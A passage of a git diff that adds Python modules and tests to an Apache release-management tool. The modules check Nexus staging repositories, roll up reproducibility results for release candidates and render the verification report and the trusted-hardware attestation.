+_ISSUE_LINE = re.compile(r"nexus-staging-repo:\s*`?([^\s`]+)`?", re.IGNORECASE) + +CRAWL = """\ +base="{base}" +crawl() {{ + visited="" + frontier="$base" + while [ -n "$frontier" ]; do + next="" + for dir in $frontier; do + case ",$visited," in *",$dir,"*) continue ;; esac + visited="$visited,$dir" + for href in $(curl -fsS "${{dir%/}}/" | grep -oE 'href="[^"]+"' | sed 's/^href="//;s/"$//'); do + case "$href" in + "../") continue ;; + "https://"*|"http://"*) path="$href" ;; + /*) path="https://repository.apache.org$href" ;; + *) path="${{dir%/}}/${{href#/}}" ;; + esac + case "$path" in + "$base"/*) path="${{path%/}}" ;; + *) continue ;; + esac + case ",$visited," in *",$path,"*) continue ;; esac + case "$href" in + */) next="$next $path" ;; + *) echo "${{path#"$base/"}}" ;; + esac + done + done + frontier="$next" + done +}} +crawl""" + + +def _id_of(value: str) -> str: + match = _URL_ID.search(value) + return match.group(1) if match else value.strip().strip("`").rstrip("/") + + +def resolve_id(v: VerifyRc, issue_body: str | None) -> tuple[str | None, str | None]: + """The staging repository id and where it came from: the config key, then the planning issue.""" + configured = v.meta.get("nexus_staging_repo") + if configured: + return _id_of(str(configured)), "release-build.md § JVM artefact checks nexus_staging_repo" + if issue_body: + line = _ISSUE_LINE.search(issue_body) + if line: + return _id_of(line.group(1)), "the planning issue's nexus-staging-repo: line" + url = _URL_ID.search(issue_body) + if url: + return url.group(1), "the staging-repository URL on the planning issue" + return None, None + + +def valid_id(repo: str) -> bool: + return repo == SNAPSHOTS or bool(ID_SHAPE.fullmatch(repo)) + + +def recipe(repo: str, *, rm_credentials: bool) -> str: + """Recipes 1 and 4 for every runner; 2 and 3 only for an RM pasting into their own terminal.""" + lines = [ + "# 1. Existence (anonymous, every run)", + "curl -fsS -o /dev/null -w '%{http_code}\\n' \\", + f' "{NEXUS}/content/repositories/{repo}/"', + "", + "# 4. Artefact inventory (anonymous web-tree crawl, every run)", + CRAWL.format(base=f"{NEXUS}/content/repositories/{repo}"), + ] + if rm_credentials and repo != SNAPSHOTS: + prefix = repo.rsplit("-", 1)[0] + lines += [ + "", + "# 2. Authoritative state (authenticated; paste into your own terminal)", + f"curl -fsS --netrc-file {NETRC} \\", + f' "{NEXUS}/service/local/staging/repository/{repo}" | jq .data', + "", + "# 3. Every staging repository for the project (authenticated; your own terminal)", + f"curl -fsS --netrc-file {NETRC} \\", + f' "{NEXUS}/service/local/staging/profile_repositories" \\', + "| jq -r '.data[] | [.repositoryId, .state, .profileName] | @tsv' \\", + f'| grep -i "{prefix}"', + ] + return "\n".join(lines) + + +def _skip(reason: str, findings: list[str] | None = None) -> dict[str, Any]: + return { + "step": "nexus-staging", + "status": "SKIP", + "staging_repos": [], + "nexus_findings": findings or [], + "paste_recipe": f"# Step 6c skipped: {reason}", + "skip_reason": reason, + } + + +def gate(v: VerifyRc, names: list[str], issue_body: str | None) -> tuple[dict[str, Any] | None, str | None]: + """A `SKIP` result when a gate fails, else `(None, id)`.""" + if not is_jvm(names): + return _skip("no .jar or .pom in the Step 1 listing (no JVM artefacts)"), None + if str(v.meta.get("jvm_artefact_checks") or "on") == "off": + return _skip("release-build.md § JVM artefact checks declares jvm_artefact_checks: off"), None + if not v.is_asf: + return _skip( + f"organization is {v.organization}, not ASF: repository.apache.org is ASF infrastructure" + ), None + repo, _ = resolve_id(v, issue_body) + if repo is None: + return ( + _skip( + "no staging repository id: set nexus_staging_repo in release-build.md § JVM artefact checks, " + "or put a nexus-staging-repo: line on the planning issue and pass --post-to" + ), + None, + ) + if not valid_id(repo): + finding = ( + f"nexus_staging_repo value {repo!r} does not match the Nexus id shape (orgapache-NNNN) — " + "no probe run; supply a valid staging repository id" + ) + return _skip(f"malformed staging repository id {repo!r}", [finding]), None + return None, repo + + +def inventory_paths(text: str, repo: str) -> list[str]: + """Repository-relative file paths from the crawl output (or a pasted tree listing).""" + base = f"{NEXUS}/content/repositories/{repo}/" + files: list[str] = [] + current = "" + for raw in text.splitlines(): + for token in raw.split(): + token = token.replace(base, "") + if token.endswith("/"): + current = token.strip("/") + continue + if "/" in token: + files.append(token.strip("/")) + elif "." in token and current: + files.append(f"{current}/{token}") + return list(dict.fromkeys(files)) + + +def _state(text: str) -> tuple[str, str | None]: + """(closed | open | unverified, why unverified) from what recipe 2 printed.""" + try: + data = json.loads(text) + except json.JSONDecodeError: + code = re.search(r"\b(401|403|404|5\d\d)\b", text) + return "unverified", f"the staging API answered {code.group(1) if code else 'without a state'}" + if isinstance(data, dict) and isinstance(data.get("data"), dict): + data = data["data"] + if not isinstance(data, dict) or "state" not in data: + return "unverified", "the staging API printed no state" + if data.get("transitioning"): + return "unverified", f"Nexus is still transitioning the repository (state {data.get('state')!r})" + state = str(data.get("state")) + if state in ("closed", "open"): + return state, None + return "unverified", f"the staging API reported state {state!r}" + + +def _profile(text: str) -> list[dict[str, str]]: + try: + data = json.loads(text) + except json.JSONDecodeError: + rows = [] + for line in text.splitlines(): + cells = line.split("\t") if "\t" in line else line.split() + if len(cells) >= 2 and cells[0].startswith("orgapache"): + rows.append({"id": cells[0], "state": cells[1], "description": ""}) + return rows + items = data.get("data", []) if isinstance(data, dict) else data + return [ + { + "id": str(i.get("repositoryId")), + "state": str(i.get("state")), + "description": str(i.get("description") or ""), + } + for i in items + if isinstance(i, dict) and i.get("repositoryId") + ] + + +def _inventory_findings(files: list[str], version: str) -> tuple[list[str], bool, list[str]]: + """Hard findings over the crawl, whether its coordinates match the RC's version, and the other versions.""" + findings: list[str] = [] + present = set(files) + dirs: dict[str, list[str]] = {} + for path in files: + folder, _, name = path.rpartition("/") + dirs.setdefault(folder, []).append(name) + versions = sorted({folder.rsplit("/", 1)[-1] for folder in dirs if folder}) + other = [ver for ver in versions if ver != version] + matches = bool(files) and not other + if not files: + findings.append(f"the staging repository holds no artefacts — nothing for release version {version}") + for path in files: + if path.endswith((".jar", ".pom")) and f"{path}.asc" not in present: + name = path.rsplit("/", 1)[-1] + findings.append( + f"{name} has no sibling .asc in the staging repository — signature coverage must match the main artefacts" + ) + for folder, names in sorted(dirs.items()): + parts = folder.split("/") + if len(parts) < 2: + continue + artifact, ver = parts[-2], parts[-1] + main = f"{artifact}-{ver}.jar" + if main not in names: + continue # packaging=pom: no jar, no companions + for classifier in ("sources", "javadoc"): + companion = f"{artifact}-{ver}-{classifier}.jar" + if companion not in names: + findings.append(f"{main}: companion {companion} is absent from the staging repository") + elif not any(f"{companion}{suffix}" in names for suffix in CHECKSUMS): + findings.append(f"{companion} has no checksum sibling in the staging repository") + return findings, matches, other + + +def classify( + v: VerifyRc, + repo: str, + *, + rm_credentials: bool, + not_probed: bool, + existence_code: int | None, + state_text: str | None, + profile_text: str | None, + crawl_text: str | None, +) -> dict[str, Any]: + """Step 6c's JSON contract from the probe output the agent (or the RM) saved.""" + hard: list[str] = [] + warn: list[str] = [] + pending: list[str] = [] + own: dict[str, Any] = {"id": repo, "state": "unverified", "matches_rc": None} + siblings: list[dict[str, Any]] = [] + + def result() -> dict[str, Any]: + repos = sorted([own, *siblings], key=lambda r: str(r["id"])) + status = "FAIL" if hard else None if pending else "WARN" if warn else "PASS" + out: dict[str, Any] = { + "step": "nexus-staging", + "status": status, + "staging_repos": repos, + "nexus_findings": hard + warn, + "paste_recipe": recipe(repo, rm_credentials=rm_credentials), + } + if pending and not hard: + out["pending"] = pending + return out + + if not_probed: + warn.append( + f"STATE-UNVERIFIED (not probed): the sandbox refused the probe before it left the machine, so {repo} " + "was not checked — this is not 'repository not reachable'; run the paste_recipe from your own terminal" + ) + return result() + if existence_code is None: + pending.append("--existence-code: what recipe 1 printed") + elif existence_code == 404: + own["matches_rc"] = False + hard.append( + f"{repo} is not reachable at the id given for this RC (404 on the content tree) — " + "the RC's jar surface does not exist there" + ) + return result() + elif existence_code != 200: + warn.append( + f"STATE-UNVERIFIED: recipe 1 answered HTTP {existence_code} for {repo} (not a 404 and not a FAIL) — " + "verify the repository by hand in the Nexus UI" + ) + return result() + + files = inventory_paths(crawl_text, repo) if crawl_text is not None else None + if repo == SNAPSHOTS: + own["matches_rc"] = False + snapshot_versions = sorted({p.rsplit("/", 2)[-2] for p in files or [] if p.count("/") >= 1}) + tail = ( + f"; the RC's jars appear to be {', '.join(snapshot_versions)} artefacts" + if snapshot_versions + else "" + ) + hard.append( + "the id resolves to the snapshots repository (content/repositories/snapshots/) — never a valid vote target" + + tail + ) + return result() + + if rm_credentials: + if state_text is None: + pending.append("--state: what recipe 2 printed") + else: + state, why = _state(state_text) + own["state"] = state + if state == "open": + hard.append( + f"{repo} is open — still mutable, not a valid vote target; the RM must close it before the [VOTE] opens" + ) + elif state == "unverified": + warn.append( + f"STATE-UNVERIFIED: {why}, so the authoritative closed state of {repo} could not be read — verify by hand in the Nexus UI (stagingRepositories)" + ) + if profile_text is None: + pending.append("--profile: what recipe 3 printed") + else: + prefix = repo.rsplit("-", 1)[0] + for row in _profile(profile_text): + if row["id"] == repo: + if state_text is None and row["state"] in ("closed", "open"): + own["state"] = row["state"] + continue + if not row["id"].startswith(prefix + "-"): + continue + state = row["state"] if row["state"] in ("closed", "open") else "unverified" + siblings.append({"id": row["id"], "state": state, "matches_rc": False}) + described = f", {row['description']}" if row["description"] else "" + warn.append( + f"{row['id']} is a stale sibling staging repository ({row['state']}{described}) — " + f"drop it after confirming this RC is {repo}" + ) + else: + warn.append( + "STATE-UNVERIFIED: no Nexus credentials, so the authoritative closed state could not be read — " + "verify by hand in the Nexus UI (stagingRepositories)" + ) + + if files is None: + pending.append("--crawl: what recipe 4 printed") + else: + findings, matches, other = _inventory_findings(files, v.version) + own["matches_rc"] = matches + if other: + hard.append( + f"{repo} holds artefacts for {', '.join(other)} but the RC declares release version {v.version} — " + "the vote would cover jars for some other version" + ) + hard += findings + return result() diff --git a/tools/release-management/src/release_management/verify_rc/report.py b/tools/release-management/src/release_management/verify_rc/report.py new file mode 100644 index 000000000..813e25e86 --- /dev/null +++ b/tools/release-management/src/release_management/verify_rc/report.py @@ -0,0 +1,202 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +"""Step 10: the attestation decision and the report / `--post-to` comment skeleton. + +The overall verdict is `release-verify verdict`'s — this module reads its JSON +and never recomputes the roll-up. It decides one thing on its own: whether +the planning-issue comment carries the trusted-hardware attestation +`release-promote` Step 0 looks for. It never posts anything. +""" + +from __future__ import annotations + +from typing import Any + +from release_management.verify_rc.common import VOTER_OBLIGATION_REMINDER, VerifyError, VerifyRc + +ATTESTATION_TITLE = "Reproducibility validated on trusted hardware" +INFRA_SIGNING = "https://infra.apache.org/release-signing.html#automated-release-signing" + + +def attestation( + v: VerifyRc, repro: dict[str, Any] | None, *, trusted_hardware: bool +) -> tuple[bool, str | None]: + """(eligible, why not). Only under automated signing, Step 9 `PASS` with every + artefact `identical`, and `--trusted-hardware` passed by the person running it.""" + if not v.ci_automated: + return False, None + if repro is None or repro.get("status") != "PASS": + status = None if repro is None else repro.get("status") + return False, f"Step 9 is {status or 'missing'}, not PASS" + source = repro.get("source") or {} + if source.get("verdict") != "identical": + return False, f"the source artefact is {source.get('verdict') or 'not compared'}, not identical" + binaries = repro.get("binaries") or {} + others = [ + *(binaries.get("differs") or []), + *(b.split(":", 1)[0] for b in binaries.get("known_divergences_hit") or []), + ] + if others: + return False, f"not every artefact is identical ({', '.join(others)})" + # Fail closed: every declared convenience artefact must be positively + # `identical`. One that was skipped, left pending or never rebuilt + # carries no evidence, so it blocks the attestation too. + identical = set(binaries.get("identical") or []) + unproven = [e["name"] for e in v.convenience() if e["name"] not in identical] + if unproven: + return False, f"not every artefact was shown identical ({', '.join(unproven)})" + if not trusted_hardware: + return False, "--trusted-hardware was not passed; the skill cannot assert where it runs" + return True, None + + +def attestation_block(v: VerifyRc, *, commit: str, epoch: Any, committer: str) -> str: + return "\n".join( + [ + f"> **{ATTESTATION_TITLE}** — `{v.rc_tag}` at", + f"> commit `{commit}`, `SOURCE_DATE_EPOCH {epoch}`; every staged artefact", + f"> rebuilt on `@{committer}`'s own hardware and confirmed bit-by-bit", + "> identical (`repro-archive compare --require-identical`). Per", + f"> [Infra § Automated release signing]({INFRA_SIGNING}).", + ] + ) + + +def _pairs(values: list[str], flag: str) -> list[tuple[str, str]]: + out = [] + for raw in values: + step, sep, text = raw.partition("=") + if not sep: + raise VerifyError(f"{flag} wants STEP=TEXT, got {raw!r}") + out.append((step.strip(), text.strip())) + return out + + +def _binary_lines(v: VerifyRc, repro: dict[str, Any] | None) -> list[str]: + """One line per convenience artefact in the words release-promote reads back.""" + if not repro: + return [] + binaries = repro.get("binaries") or {} + identical = set(binaries.get("identical") or []) + differs = set(binaries.get("differs") or []) + warned = {b.split(":", 1)[0] for b in binaries.get("known_divergences_hit") or []} + lines = [] + for entry in v.convenience(): + name = entry["name"] + state = ( + "identical" + if name in identical + else "differs" + if name in differs + else "warn" + if name in warned + else "not checked" + ) + lines.append(f"- `{name}`: {state}") + return lines + + +def report( + v: VerifyRc, + verdict: dict[str, Any], + *, + repro: dict[str, Any] | None, + rebuilt_sha512: str | None, + staging_url: str | None, + utc: str, + post_to: str | None, + trusted_hardware: bool, + committer: str | None, + findings: list[str], + fail_details: list[str], + warn_details: list[str], +) -> dict[str, Any]: + """Step 10's JSON contract, with the report text and (with `--post-to`) the comment to propose.""" + if verdict.get("step") != "verdict" and "verdict" in verdict: + verdict = verdict["verdict"] + overall = verdict.get("overall") + if overall is None: + raise VerifyError( + f"the verdict is unresolved (steps still REVIEW: {verdict.get('unresolved')}); resolve them first" + ) + found = dict(_pairs(findings, "--finding")) + skip = set(verdict.get("skip_steps") or []) + summary = [ + { + "step": s["step"], + "status": s["status"], + "finding": found.get(s["step"], "skipped" if s["step"] in skip else ""), + } + for s in verdict.get("step_summary") or [] + ] + eligible, why_not = attestation(v, repro, trusted_hardware=trusted_hardware) + source = (repro or {}).get("source") or {} + commit = source.get("recorded_commit") or "" + epoch = source.get("source_date_epoch") or "" + lines = [ + f"## release-verify-rc — `{v.rc_tag}`", + "", + f"- Staging URL: {staging_url or v.meta.get('staging_url') or ''}", + f"- Verified (UTC): {utc}", + "", + VOTER_OBLIGATION_REMINDER, + "", + "| Step | Status | Finding |", + "|---|---|---|", + *[f"| {s['step']} | {s['status']} | {s['finding']} |" for s in summary], + ] + if fail_details: + lines += ["", "**FAIL detail**", "", *[f"- {d}" for d in fail_details]] + if warn_details: + lines += ["", "**WARN detail**", "", *[f"- {d}" for d in warn_details]] + lines += ["", f"**Overall verdict:** {overall}"] + if repro is not None: + lines += [ + "", + "**Reproducibility record**", + "", + f"- Step 9: {repro.get('status')} (source {source.get('verdict') or 'not compared'})", + f"- Commit `{commit}`, `SOURCE_DATE_EPOCH {epoch}`", + f"- sha512 of the rebuilt source artefact: `{rebuilt_sha512 or ''}`", + *_binary_lines(v, repro), + ] + text = "\n".join(lines) + comment = None + if post_to: + parts = [text] + if eligible: + parts += [ + "", + attestation_block(v, commit=commit, epoch=epoch, committer=committer or ""), + ] + elif why_not: + parts += ["", f"No trusted-hardware attestation: {why_not}."] + comment = "\n".join(parts) + return { + "step": "report", + "rc_tag": v.rc_tag, + "verification_utc": utc, + "overall": overall, + "voter_obligation_reminder": True, + "step_summary": summary, + "fail_details": fail_details, + "warn_details": warn_details, + "reproducibility_attestation": bool(post_to) and eligible, + "post_to_comment": comment, + "text": text, + "attestation_withheld_because": why_not, + } diff --git a/tools/release-management/src/release_management/verify_rc/repro.py b/tools/release-management/src/release_management/verify_rc/repro.py new file mode 100644 index 000000000..b678caf0d --- /dev/null +++ b/tools/release-management/src/release_management/verify_rc/repro.py @@ -0,0 +1,330 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +"""Step 9: whether it runs, its recipe, and the status roll-up from `repro-archive` JSON. + +Inputs are what the voter's own run printed: `repro-archive check --json` +(a list of `{name, status, detail}`), `repro-archive compare --json` (the +`Comparison`), the commit the tag resolved to, and one result per +convenience artefact. Nothing here rebuilds, compares or runs anything. +""" + +from __future__ import annotations + +import re +from typing import Any + +from release_management.verify_rc.common import VerifyError, VerifyRc, dq + +REPRO = "uv run --project /tools/reproducible-archive repro-archive" +MODES = ("off", "documented-divergence", "byte-identical") # weakest → strictest +_SWHID_DIR = re.compile(r"swh:1:dir:[0-9a-f]{40}") + + +def swhid_core(value: str | None) -> str | None: + """The bare `swh:1:dir:`: qualifiers (`;origin=…;anchor=…`) are ignored.""" + if not value: + return None + match = _SWHID_DIR.search(value) + return match.group(0) if match else value.split(";", 1)[0].strip() + + +def plan(v: VerifyRc, *, skip_repro: bool) -> dict[str, Any]: + """Whether Step 9 runs: `mandatory` under automated signing, where `--skip-repro` is ignored.""" + mandatory = v.ci_automated + source_on = str(v.meta.get("reproducibility_source") or "off") == "on" + entries = v.convenience() + binaries_on = str(v.meta.get("reproducibility_binaries") or "off") != "off" or any( + e["reproducibility"] != "off" for e in entries + ) + enabled = source_on or binaries_on or mandatory + skipped = not enabled or (skip_repro and not mandatory) + reason = None + if not enabled: + reason = "reproducibility_source is off and no convenience artefact is checked" + elif skipped: + reason = "--skip-repro was passed" + return { + "mandatory": mandatory, + "skipped": skipped, + "skip_reason": reason, + "skip_repro_ignored": bool(skip_repro and mandatory), + # Automated signing requires the source check, whatever reproducibility_source says. + "source_enabled": not skipped and (source_on or mandatory), + "binaries_enabled": not skipped and binaries_on, + } + + +def recipe(v: VerifyRc, *, clone: str, remote: str, staged_dir: str, mandatory: bool) -> str: + source = v.source_artefact + tag = v.rc_tag + fmt = v.meta.get("source_archive_format") or "tar.gz" + prefix = v.meta.get("source_archive_prefix") or "" + lines = [ + "# 1. The tag resolves to the commit recorded on the planning issue", + f"git -C {clone} fetch --tags {remote}", + f'git -C {clone} rev-parse "{tag}^{{commit}}" # expect: ', + f'git -C {clone} tag -v "{tag}" # signed tag verifies against KEYS', + "", + "# 2. The staged archive satisfies every reproducible-builds.org rule, and its content is the recorded tree", + f"{REPRO} check --json \\", + f' {dq(source)} --epoch "" \\', + ' --swhid ""', + "", + ] + if v.meta.get("source_archive_method") == "custom": + lines += [ + "# 3. Re-run the adopter's build_command at the tag under the recorded epoch, then compare", + f'git -C {clone} checkout "{tag}"', + 'export SOURCE_DATE_EPOCH=""', + f"( cd {clone} && {v.meta.get('build_command') or ''} )", + ] + else: + lines += [ + "# 3. Rebuild from the tag with the recorded epoch, prefix and format, then compare", + f"{REPRO} build \\", + f' --repo {clone} --ref "{tag}" --format {fmt} \\', + f' --prefix "{prefix}" --epoch "" \\', + f" -o rebuilt/{source}", + ] + lines.append( + f"{REPRO} compare --json {dq(source)} rebuilt/{source}" + + (" --require-identical" if mandatory else "") + ) + entries = [e for e in v.convenience() if e["reproducibility"] != "off"] + if entries: + lines += [ + "", + "# Convenience artefacts: rebuild each from the tag and compare", + 'export SOURCE_DATE_EPOCH=""', + f'git -C {clone} checkout "{tag}"', + ] + for e in entries: + name = e["name"] + lines += [f"( cd {clone} && {e.get('build_command') or ''} )"] + if e.get("staging") == "registry-staging": + lines.append( + f"# {name}: pull the staged image by digest and compare it with the local rebuild; say which digest was pulled" + ) + elif e["reproducibility"] == "documented-divergence": + lines.append( + f'{e.get("verification_command") or ""} "{staged_dir}/{name}" "{clone}//{name}"' + ) + else: + lines.append( + f'cmp "{staged_dir}/{name}" "{clone}//{name}" \\\n' + f' && echo "identical: {name}" || echo "DIFFERS: {name}"' + ) + return "\n".join(lines) + + +def _binary_results(values: list[str]) -> dict[str, str]: + out: dict[str, str] = {} + for raw in values: + name, sep, result = raw.rpartition("=") + if not sep or not name: + raise VerifyError(f"--binary wants NAME=identical|differs|known:, got {raw!r}") + out[name.strip()] = result.strip() + return out + + +def _known(entry: dict[str, Any], pattern: str) -> bool: + for known in entry.get("known_divergences") or []: + text = str(known) + if pattern and (pattern in text or text.split(":", 1)[0].strip() in pattern): + return True + return False + + +def binaries(v: VerifyRc, results: list[str], enabled: bool) -> dict[str, Any]: + """Per artefact by its own mode: `byte-identical` any difference FAILs; + `documented-divergence` a listed known divergence WARNs, anything else FAILs; + `off` is a SKIP stated as published on trust.""" + entries = v.convenience() + given = _binary_results(results) + in_use = [e["reproducibility"] for e in entries if e["reproducibility"] != "off"] + mode = max(in_use, key=MODES.index) if in_use else str(v.meta.get("reproducibility_binaries") or "off") + out: dict[str, Any] = {"mode": mode, "identical": [], "differs": [], "known_divergences_hit": []} + notes: list[str] = [] + pending: list[str] = [] + for e in entries: + name = e["name"] + if e["reproducibility"] == "off" or not enabled: + notes.append(f"{name}: SKIP — reproducibility off; it is being published on trust") + continue + result = given.get(name) + if result is None: + pending.append(name) + elif result.lower() == "identical": + out["identical"].append(name) + elif result.lower().startswith("known:") and e["reproducibility"] == "documented-divergence": + pattern = result.split(":", 1)[1].strip() + if _known(e, pattern): + out["known_divergences_hit"].append(f"{name}: {pattern}") + else: + out["differs"].append(name) + notes.append(f"{name}: divergence {pattern!r} is not among its known_divergences — FAIL") + else: + out["differs"].append(name) + unknown = sorted(set(given) - {e["name"] for e in entries}) + if unknown: + notes.append( + f"--binary for an artefact § Convenience artefacts does not declare: {', '.join(unknown)}" + ) + return {"binaries": out, "notes": notes, "pending": pending} + + +def _check_failures(check: list[dict[str, Any]] | None) -> tuple[list[str], str | None, bool | None]: + """(rule failures other than swhid, swhid computed by check, swhid check passed).""" + if not check: + return [], None, None + failures = [str(r.get("name")) for r in check if r.get("status") == "FAIL" and r.get("name") != "swhid"] + swhid = next((r for r in check if r.get("name") == "swhid"), None) + computed = swhid_core(str(swhid.get("detail") or "")) if swhid else None + return failures, computed, (swhid.get("status") == "PASS") if swhid else None + + +def reproducibility( + v: VerifyRc, + *, + skip_repro: bool, + trusted_hardware: bool, + recorded_commit: str | None, + tag_commit: str | None, + recorded_swhid: str | None, + atr_swhid: str | None, + epoch: int | None, + check: list[dict[str, Any]] | None, + compare: dict[str, Any] | None, + binary_results: list[str], + clone: str = "", + remote: str = "", + staged_dir: str = "", +) -> dict[str, Any]: + """Step 9's JSON contract.""" + p = plan(v, skip_repro=skip_repro) + mandatory = p["mandatory"] + fails: list[str] = [] + warns: list[str] = [] + pending: list[str] = [] + notes: list[str] = [] + if p["skip_repro_ignored"]: + notes.append("--skip-repro ignored: automated_release_signing is enabled, so Step 9 is mandatory") + rule_failures, check_swhid, check_swhid_passed = _check_failures(check) + computed = check_swhid or swhid_core((compare or {}).get("swhid_a")) + source: dict[str, Any] = { + "enabled": p["source_enabled"], + "verdict": None, + "recorded_commit": recorded_commit, + "source_date_epoch": epoch, + "swhid_dir": computed, + "swhid_matches": None, + "rule_failures": rule_failures, + "metadata_differences": [], + "content_differences": [], + } + if p["source_enabled"]: + if tag_commit and recorded_commit and tag_commit.strip().lower() != recorded_commit.strip().lower(): + source["verdict"] = "tag-moved" + fails.append( + f"tag moved: {v.rc_tag} resolves to {tag_commit}, the planning issue recorded {recorded_commit}" + ) + elif compare is None: + pending.append("--compare: what repro-archive compare --json printed") + else: + verdict = str(compare.get("verdict")) + if verdict not in ("identical", "content-identical", "differs"): + raise VerifyError( + f"--compare verdict {verdict!r} is not identical / content-identical / differs" + ) + source["verdict"] = verdict + source["metadata_differences"] = list(compare.get("metadata_differences") or []) + source["content_differences"] = [ + f"{kind} {path}" + for kind in ("added", "removed", "changed") + for path in compare.get(kind) or [] + ] + if verdict == "differs": + fails.append("source differs: the artefact is not the tagged tree") + elif verdict == "content-identical": + (fails if mandatory else warns).append( + "source content-identical: archive metadata differs" + + ( + " — automated signing requires bit-by-bit identity" + if mandatory + else " — the RM did not build with repro-archive build" + ) + ) + if recorded_commit is None: + pending.append("--recorded-commit: the commit release-rc-cut recorded on the planning issue") + elif tag_commit is None: + pending.append('--tag-commit: what git rev-parse "^{commit}" printed') + recorded = [s for s in (swhid_core(recorded_swhid), swhid_core(atr_swhid)) if s] + if recorded and computed: + source["swhid_matches"] = all(r == computed for r in recorded) + if not source["swhid_matches"]: + fails.append(f"content {computed} is not the recorded {', '.join(recorded)}") + elif check_swhid_passed is not None: + source["swhid_matches"] = check_swhid_passed + if not check_swhid_passed: + fails.append(f"content {computed} is not the SWHID repro-archive check was given") + elif recorded and check is None and compare is None: + pending.append("--check: what repro-archive check --json printed") + elif computed and not recorded: + notes.append( + f"the planning issue records no SWHID: the staged archive's content is {computed} — the RM can add it" + ) + if rule_failures: + (fails if mandatory else warns).append( + f"repro-archive check rule failures: {', '.join(rule_failures)}" + ) + bins = binaries(v, binary_results, p["binaries_enabled"]) + notes += bins["notes"] + if p["binaries_enabled"]: + pending += [f"--binary {name}=…" for name in bins["pending"]] + if bins["binaries"]["differs"]: + fails.append( + f"convenience artefact(s) did not reproduce: {', '.join(bins['binaries']['differs'])}" + ) + if bins["binaries"]["known_divergences_hit"]: + warns.append("documented divergences: " + "; ".join(bins["binaries"]["known_divergences_hit"])) + if p["skipped"]: + status: str | None = "SKIP" + notes.append(f"Step 9 skipped: {p['skip_reason']}") + elif fails: + status = "FAIL" + elif pending: + status = None + elif warns: + status = "WARN" + else: + status = "PASS" + out: dict[str, Any] = { + "step": "reproducibility", + "status": status, + "mandatory": mandatory, + "source": source, + "binaries": bins["binaries"], + "trusted_hardware_asserted": trusted_hardware, + "paste_recipe": "" + if p["skipped"] + else recipe(v, clone=clone, remote=remote, staged_dir=staged_dir, mandatory=mandatory), + "findings": fails + warns, + "notes": notes, + } + if status is None: + out["pending"] = pending + return out diff --git a/tools/release-management/tests/test_integration.py b/tools/release-management/tests/test_integration.py index dfdb98319..ae3a814d5 100644 --- a/tools/release-management/tests/test_integration.py +++ b/tools/release-management/tests/test_integration.py @@ -123,3 +123,42 @@ def test_rc_cut_renders_from_a_real_load(tmp_path: Path) -> None: assert "https://dist.apache.org/repos/dist/dev/foo/1.0.0-rc1/" in step3["staging_commands"][0] assert step3["dist_dev_only"] is True assert render.step2b(cut)["source_check_enabled"] is True + + +def test_verify_rc_reads_a_real_load(tmp_path: Path) -> None: + from release_management.verify_rc import args as verify_args + from release_management.verify_rc import checks, repro + from release_management.verify_rc.common import VerifyRc + + config = tmp_path / ".apache-magpie-overrides" + config.mkdir() + (config / "release-management-config.md").write_text(_rmc(RMC), encoding="utf-8") + build = BUILD + "\n## Apache RAT configuration\n\n- **RAT excludes file:** `.rat-excludes`.\n" + (config / "release-build.md").write_text(build, encoding="utf-8") + (config / "project.md").write_text( + "# Project\n\n| Key | Value |\n|---|---|\n| `organization` | `ASF` |\n", encoding="utf-8" + ) + loaded = release_config_cli.run( + [ + "load", + "--project-root", + str(tmp_path), + "--user-config", + str(tmp_path / "absent.md"), + "--skill", + "verify-rc", + "1.0.0-rc1", + ] + ) + v = VerifyRc.from_load(loaded) + assert (v.rc_tag, v.source_artefact, v.is_asf, v.ci_automated) == ( + "1.0.0-rc1", + "apache-foo-1.0.0-source.tar.gz", + True, + False, + ) + commands = verify_args.invocations(v)["commands"] + assert '--expect "apache-foo-1.0.0-source.tar.gz"' in commands["inventory"] + assert "--manifest setup.cfg" in commands["version"] + assert checks.rat(v, report=None, exit_code=0)["status"] == "PASS" + assert repro.plan(v, skip_repro=False)["source_enabled"] is True diff --git a/tools/release-management/tests/test_verify_rc.py b/tools/release-management/tests/test_verify_rc.py new file mode 100644 index 000000000..9ba161798 --- /dev/null +++ b/tools/release-management/tests/test_verify_rc.py @@ -0,0 +1,1040 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +"""release-verify-rc classifiers. + +The scripted cases of the retired model-graded suites live here, named after +each former case, with the same scenario and the same assertions: +`step-6b-jvm-artefacts` cases 1, 4 and 5, `step-6c-nexus-staging` cases 1, 2 +and 4-9, and every `step-9-reproducibility` case. The judgement cases stay +model evals under tools/skill-evals/evals/release-verify-rc/. +""" + +from __future__ import annotations + +import json +import re +from pathlib import Path +from typing import Any + +import pytest + +from release_management.cli import main +from release_management.verify_rc import args as args_mod +from release_management.verify_rc import checks, jvm, nexus, report, repro +from release_management.verify_rc.common import VOTER_OBLIGATION_REMINDER, VerifyError, VerifyRc + + +def loaded( + *, + version: str = "1.0.0", + rc: str = "rc1", + organization: str = "ASF", + signing_mode: str = "rm-key", + artefacts: list[dict[str, Any]] | None = None, + digests: list[str] | None = None, + convenience: list[dict[str, Any]] | None = None, + **meta: 